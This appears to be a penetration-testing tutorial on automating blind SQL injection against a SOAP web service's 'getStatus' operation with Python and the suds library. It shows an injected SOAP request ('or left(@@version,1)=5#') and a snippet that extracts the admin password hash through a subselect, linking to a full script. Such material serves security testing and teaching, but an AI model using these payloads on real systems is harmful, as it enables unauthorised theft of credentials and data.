An informative guide for using blind SQL injection on web services during penetration tests, using Python.
There is plenty of documentation for using blind SQL injection in penetration tests. This code demonstrates exploiting blind SQL injection in a web service using Python.
We often come across blind SQL injection in penetration tests, and SQL injection in web services is an interesting variation. This example shows SQL injection on a web service operation called “getStatus”, with a vulnerable field called “User”. The response showed an error if the SQL WHERE clause was false, and no error if it was true.
Here’s an example request. The injected SQL in the User field is checking if the MySQL database major version is 5. In this case, an error was not returned, so the version of MySQL was indeed 5.
https://localhost/web/service/soap.php
<SOAP-ENV:Envelope xmlns:SOAP-ENV="https://schemas.xmlsoap.org/soap/envelope/"xmlns:soap="https://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="https://www.w3.org/1999/XMLSchema"xmlns:xsi="https://www.w3.org/1999/XMLSchema-instance" xmlns:m0="https://tempuri.org/" xmlns:SOAP-ENC="https://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Header/>
<SOAP-ENV... xmlns="soapapp">
<User xsi:type="xsd:string">' or left(@@version,1)=5#</User>
<Pass xsi:type="xsd:string">z</Pass>
<Module xsi:type="xsd:string">z</Module>
</getStatus>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Manual exploitation isn’t much fun in blind SQL injection, and although there are tools you can use, Python is great for quickly automating attacks. Suds is a web services client package for Python, and is available as a package for some Linux distributions and as an egg.
For this example, we wanted to show how it could be exploited to get email addresses and password hashes out of the MySQL database. The bit of code below, which uses sqlblind.py, does the following:
Gets the operations from the web service WSDL.
Passes the operation as a Python function to GetSOAPMySQLVar, along with the operations arguments User, Pass and Module as a list. The User argument has the (SQL) placeholder, which is substituted with the following select statement.
The function GetSOAPMySQLVar uses a “higher or lower” method to first get the length of the field returned, and then each character.
import suds
soapClient = suds.client.Client('https://localhost/web/service/soap.php?wsdl',faults=False)
val = GetSOAPMySQLVar(soapClient.service.getStatus, ["' (SQL)#",'z','z'], "(select password from users where email='admin')", 'or')
Here’s a link to the Python code which has both the typical URL-based and the web service code: sqlblind.zip.
The web service code can easily be adapted for use with another database backend such as SQL Server.